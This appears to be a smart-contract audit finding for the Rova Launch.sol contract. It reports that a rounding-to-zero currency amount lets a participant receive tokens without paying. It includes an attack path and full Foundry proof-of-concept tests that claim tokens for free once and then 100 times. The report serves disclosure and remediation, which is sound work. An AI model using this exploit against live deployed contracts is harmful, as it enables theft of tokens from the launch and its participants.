Beautiful Daffodil Seagull

High

# Token Distribution Flaw: Attacker Gains Tokens Without Payment

### Summary

A flaw in the participate function allows users to register participation without spending any currency. Due to a missing check for 
```currencyAmount ``` attacker can continuously receive token allocations for free while their currency balance remains unchanged.

### Root Cause

in [Launch.sol:265 ](https://github.com/sherlock-audit/2025-02-rova/blob/main/rova-contracts/src/Launch.sol#L265) there is a missing check to verify that `_getCurrencyAmount` return value greater than 0.


### Attack Path

The issue arises because the `function _getCurrencyAmount(request.launchGroupId, request.currency, request.tokenAmount) `returns 0 in certain cases, specifically when the token's decimals are larger than the currency’s decimals.

Step-by-Step Attack Execution:

- The attacker submits a participation request for a very small token amount such that `tokenPriceBps * tokenAmount` <  `tokenAmount`

Note - `tokenPriceBps = P *  10 ^ (currencyTokenDecimal)`
- The function _getCurrencyAmount(request.launchGroupId, request.currency, request.tokenAmount) calculates the required currency amount.
- Due to a decimal mismatch (where the token’s decimals are greater than the currency’s decimals), this function returns 0, meaning the user is required to pay zero currency.
- The contract does not reject this invalid amount.




### Impact

The impact is high as an attacker can repeatedly participate in the launch without paying any currency, allowing them to accumulate tokens for free and potentially draining the token supply.

### PoC

Steps to run PoC - 
- Create two new files in the `test` folder - `LaunchTestVulnerabilityBase.t.sol` and `Launch.Vulnerability.t.sol`
- Copy and paste the contents in respective files. 
- Run following commands - 

```forge test --mt test_Vulnerable_Participate_FinalizesAtParticipation```

```forge test --mt test_Vulnerability_Participate_MultipleParticipations ```

Copy paste the following in `LaunchTestVulnerabilityBase.t.sol` file. 

LaunchTestVulnerabilityBase.t.sol - 

```solidity

// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.8.22;

import {UnsafeUpgrades} from "@openzeppelin-foundry-upgrades/Upgrades.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {Math} from "@openzeppelin/contracts/utils/math/Math.sol";
import {VmSafe} from "forge-std/Vm.sol";
import {Test} from "forge-std/Test.sol";
import {Launch} from "../src/Launch.sol";
import {
    CurrencyConfig,
    LaunchGroupSettings,
    LaunchGroupStatus,
    ParticipationRequest,
    CancelParticipationRequest
} from "../src/Types.sol";
import {console} from "forge-std/console.sol";

// Mock ERC20 token
contract MockERC20 is ERC20 {
    constructor() ERC20("Mock Token", "MTK") {
        _mint(msg.sender, 1000000000000 * 10 ** 6);
    }

    function decimals() public pure override returns (uint8) {
        return 6;
    }
}

interface IERC20Events {
    event Transfer(address indexed from, address indexed to, uint256 value);
}

abstract contract LaunchTestVulnerabilityBase is Test, Launch {
    Launch public launch;
    MockERC20 public currency;

    VmSafe.Wallet public admin = vm.createWallet("admin");
    address public manager = address(1);
    address public operator = address(2);
    address public signer = address(3);
    address public testWithdrawalAddress = address(4);
    address public user1 = address(5);
    address public user2 = address(6);

    // Dummy cuids for testing
    bytes32 public testLaunchId = "cixf02ym000001b66m45ae4k8";
    bytes32 public testLaunchGroupId = "ch72gsb320000udocl363eofy";
    bytes32 public testLaunchParticipationId = "cm6o2sldi00003b74facm5z9n";
    bytes32 public testUserId = "cm6o2tm1300003b74dsss1s7q";

    function _setUpLaunch() public {
        vm.startPrank(admin.addr);

        // Deploy contracts
        _initializeLaunch(admin.addr, testWithdrawalAddress);
        currency = new MockERC20();

        // Setup roles
        launch.grantRole(MANAGER_ROLE, manager);
        launch.grantRole(OPERATOR_ROLE, operator);
        launch.grantRole(SIGNER_ROLE, signer);

        // Fund users
        currency.transfer(user1, 1000000 * 10 ** 6);
        currency.transfer(user2, 1000000 * 10 ** 6);
        vm.stopPrank();
    }

    // Helper functions
    function _setupLaunchGroup() internal returns (LaunchGroupSettings memory) {
        return _setupLaunchGroupWithStatus(testLaunchGroupId, LaunchGroupStatus.ACTIVE);
    }

    function _setupLaunchGroupWithStatus(bytes32 launchGroupId, LaunchGroupStatus status)
        internal
        returns (LaunchGroupSettings memory)
    {
        CurrencyConfig memory currencyConfig =
            CurrencyConfig({tokenPriceBps: 1 * 10 ** currency.decimals(), isEnabled: true});
        LaunchGroupSettings memory settings = LaunchGroupSettings({
            finalizesAtParticipation: false,
            startsAt: block.timestamp,
            endsAt: block.timestamp + 1 days,
            maxTokenAllocation: 10000 * 10 ** launch.tokenDecimals(),
            // @audit-notice - `minTokenAmountPerUser` is set to a very low value which can lead to attacker getting token allocation for free.
            minTokenAmountPerUser: 1 * 10 ** (launch.tokenDecimals() - currency.decimals() - 1),
            maxTokenAmountPerUser: 3000 * 10 ** launch.tokenDecimals(),
            status: status
        });
        vm.startPrank(manager);
        launch.createLaunchGroup(launchGroupId, address(currency), currencyConfig, settings);
        vm.stopPrank();
        return settings;
    }

    function _updateLaunchGroupSettings(LaunchGroupSettings memory settings) internal {
        vm.startPrank(manager);
        launch.setLaunchGroupSettings(testLaunchGroupId, settings);
        vm.stopPrank();
    }

    function _createParticipationRequest() internal view returns (ParticipationRequest memory) {
        return ParticipationRequest({
            chainId: block.chainid,
            launchId: testLaunchId,
            launchGroupId: testLaunchGroupId,
            launchParticipationId: testLaunchParticipationId,
            userId: testUserId,
            userAddress: user1,
            tokenAmount: 1000,
            currency: address(currency),
            requestExpiresAt: block.timestamp + 1 hours
        });
    }

    function _signRequest(bytes memory encodedRequest) internal view returns (bytes memory) {
        bytes32 structHash = keccak256(encodedRequest);
        bytes32 messageHash = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", structHash));
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(admin.privateKey, messageHash);
        return abi.encodePacked(r, s, v);
    }

    function _signRequestWithSigner(bytes memory encodedRequest, uint256 privateKey)
        internal
        pure
        returns (bytes memory)
    {
        bytes32 structHash = keccak256(encodedRequest);
        bytes32 messageHash = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", structHash));
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(privateKey, messageHash);
        return abi.encodePacked(r, s, v);
    }

    function _setupParticipations(bytes32[] memory participationIds, address[] memory users)
        internal
        returns (ParticipationRequest[] memory)
    {
        ParticipationRequest[] memory requests = new ParticipationRequest[](participationIds.length);
        for (uint256 i = 0; i < participationIds.length; i++) {
            ParticipationRequest memory request = ParticipationRequest({
                chainId: block.chainid,
                launchId: testLaunchId,
                launchGroupId: testLaunchGroupId,
                launchParticipationId: participationIds[i],
                userId: bytes32(uint256(i + 1)),
                userAddress: users[i],
                tokenAmount: 1000,
                currency: address(currency),
                requestExpiresAt: block.timestamp + 1 hours
            });

            bytes memory signature = _signRequest(abi.encode(request));

            vm.startPrank(users[i]);
            currency.approve(
                address(launch), _getCurrencyAmount(request.launchGroupId, request.currency, request.tokenAmount)
            );
            launch.participate(request, signature);
            vm.stopPrank();

            requests[i] = request;
        }
        return requests;
    }

    function _createCancelParticipationRequest() internal view returns (CancelParticipationRequest memory) {
        return CancelParticipationRequest({
            chainId: block.chainid,
            launchId: testLaunchId,
            launchGroupId: testLaunchGroupId,
            launchParticipationId: testLaunchParticipationId,
            userId: testUserId,
            userAddress: user1,
            requestExpiresAt: block.timestamp + 1 hours
        });
    }

    function _getCurrencyAmount(bytes32 launchGroupId, address currencyAddress, uint256 tokenAmount)
        internal
        view
        returns (uint256)
    {
        uint256 tokenPriceBps = launch.getLaunchGroupCurrencyConfig(launchGroupId, currencyAddress).tokenPriceBps;
        return Math.mulDiv(tokenPriceBps, tokenAmount, 10 ** launch.tokenDecimals());
    }

    function _initializeLaunch(address adminAddress, address withdrawalAddress) internal {
        address proxyAddress = UnsafeUpgrades.deployTransparentProxy(
            address(new Launch()),
            adminAddress,
            abi.encodeWithSelector(Launch.initialize.selector, withdrawalAddress, testLaunchId, adminAddress, 10)
        );
        launch = Launch(proxyAddress);
    }
}



```


Copy and paste the following in the `Launch.Vulnerability.t.sol` file. 



Launch.Vulnerability.t.sol
```solidity

// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.8.22;

import {IERC20Errors} from "@openzeppelin/contracts/interfaces/draft-IERC6093.sol";
import {PausableUpgradeable} from "@openzeppelin/contracts-upgradeable/utils/PausableUpgradeable.sol";
import {Test} from "forge-std/Test.sol";
import {LaunchTestVulnerabilityBase} from "./LaunchTestVulnerabilityBase.t.sol";
import {Launch} from "../src/Launch.sol";
import {
    CancelParticipationRequest,
    LaunchGroupSettings,
    LaunchGroupStatus,
    ParticipationRequest,
    ParticipationInfo,
    CurrencyConfig
} from "../src/Types.sol";
import {console} from "forge-std/console.sol";

contract LaunchVulnerability is Test, LaunchTestVulnerabilityBase {
     function setUp() public {
        _setUpLaunch();
    }

    function test_Vulnerable_Participate_FinalizesAtParticipation() public {
        // Setup new launch group
        bytes32 launchGroupId = bytes32(uint256(1));
        LaunchGroupSettings memory settings = _setupLaunchGroupWithStatus(launchGroupId, LaunchGroupStatus.PENDING);
        settings.finalizesAtParticipation = true;
        vm.startPrank(manager);
        launch.setLaunchGroupSettings(launchGroupId, settings);
        launch.setLaunchGroupStatus(launchGroupId, LaunchGroupStatus.ACTIVE);
        vm.stopPrank();

        // Prepare participation request
        ParticipationRequest memory request = _createParticipationRequest();
        request.launchGroupId = launchGroupId;
        bytes memory signature = _signRequest(abi.encode(request));

        vm.startPrank(user1);
        uint256 currencyAmount = _getCurrencyAmount(request.launchGroupId, request.currency, request.tokenAmount);
        console.log("Currency amount: ", currencyAmount);
        currency.approve(address(launch), currencyAmount);
        assertEq(currencyAmount,0);

        uint256 balanceBefore = currency.balanceOf(user1);

        // Expect ParticipationRegistered event
        vm.expectEmit();
        emit ParticipationRegistered(
            request.launchGroupId, request.launchParticipationId, testUserId, user1, currencyAmount, address(currency)
        );

        // Participate
        launch.participate(request, signature);

        uint256 balanceAfter = currency.balanceOf(user1);

        // Verify participation
        ParticipationInfo memory info = launch.getParticipationInfo(request.launchParticipationId);
        assertEq(info.userAddress, user1);
        assertEq(info.userId, testUserId);
        assertEq(info.tokenAmount, request.tokenAmount);
        assertEq(info.currencyAmount, currencyAmount);
        assertEq(info.currency, address(currency));
        assertEq(info.isFinalized, true);


        // Verify that the user balance is same
        assertEq(balanceBefore, balanceAfter);

        // Verify total unique participants by launch group
        assertEq(launch.getNumUniqueParticipantsByLaunchGroup(request.launchGroupId), 1);

        // Verify total tokens sold
        assertEq(launch.getTokensSoldByLaunchGroup(request.launchGroupId), request.tokenAmount);

        // Verify total withdrawable amount
        assertEq(launch.getWithdrawableAmountByCurrency(address(currency)), currencyAmount);

        // Verify user tokens
        assertEq(launch.getUserTokensByLaunchGroup(request.launchGroupId, testUserId), request.tokenAmount);

        vm.stopPrank();
    }

    function test_Vulnerability_Participate_MultipleParticipations() public {
        // Setup new launch group
        bytes32 launchGroupId = bytes32(uint256(1));
        LaunchGroupSettings memory settings = _setupLaunchGroupWithStatus(launchGroupId, LaunchGroupStatus.PENDING);
        settings.finalizesAtParticipation = true;
        vm.startPrank(manager);
        launch.setLaunchGroupSettings(launchGroupId, settings);
        launch.setLaunchGroupStatus(launchGroupId, LaunchGroupStatus.ACTIVE);
        vm.stopPrank();

        // Multiple requests from same user
        uint256 totalRequests = 100;
        bytes32[] memory participationIds = new bytes32[](totalRequests);
        for(uint256 i = 0; i < totalRequests; i++) {
            participationIds[i] = keccak256(abi.encodePacked("participationId", i));
        }
        ParticipationRequest memory request = _createParticipationRequest();
        request.launchGroupId = launchGroupId;
        // currency amount here returns 0 as the token decimals is larger than currency decimals
        uint256 currencyAmount = _getCurrencyAmount(request.launchGroupId, request.currency, request.tokenAmount);
        // @audit : currencyAmount is 0
        assertEq(currencyAmount,0);
        uint256 balanceBefore = currency.balanceOf(user1);
        for (uint256 i = 0; i < participationIds.length; i++) {
            // Prepare participation request
            request.launchParticipationId = participationIds[i];
            bytes memory signature = _signRequest(abi.encode(request));

            vm.startPrank(user1);
            currency.approve(address(launch), currencyAmount);

            // Expect ParticipationRegistered event
            vm.expectEmit();
            emit ParticipationRegistered(
                request.launchGroupId,
                request.launchParticipationId,
                testUserId,
                user1,
                currencyAmount,
                address(currency)
            );

            // Participate
            launch.participate(request, signature);

            // Verify participation
            ParticipationInfo memory info = launch.getParticipationInfo(request.launchParticipationId);
            assertEq(info.userAddress, user1);
            assertEq(info.userId, testUserId);
            assertEq(info.tokenAmount, request.tokenAmount);
            assertEq(info.currencyAmount, currencyAmount);
            assertEq(info.currency, address(currency));
            assertEq(info.isFinalized, true);
        }

        uint256 balanceAfter = currency.balanceOf(user1);

        // Verify that the user balance is same 
        assertEq(balanceBefore, balanceAfter);

        // Verify total unique participants by launch group
        assertEq(launch.getNumUniqueParticipantsByLaunchGroup(request.launchGroupId), 1);

        // Verify total tokens sold
        assertEq(launch.getTokensSoldByLaunchGroup(request.launchGroupId), request.tokenAmount * totalRequests );

        // Verify total withdrawable amount
        assertEq(launch.getWithdrawableAmountByCurrency(address(currency)), currencyAmount * totalRequests);

        // Verify user tokens
        assertEq(launch.getUserTokensByLaunchGroup(request.launchGroupId, testUserId), request.tokenAmount * totalRequests);

        vm.stopPrank();
    }
}

```



### Mitigation

 Require a minimum currencyAmount > 0 before approving participation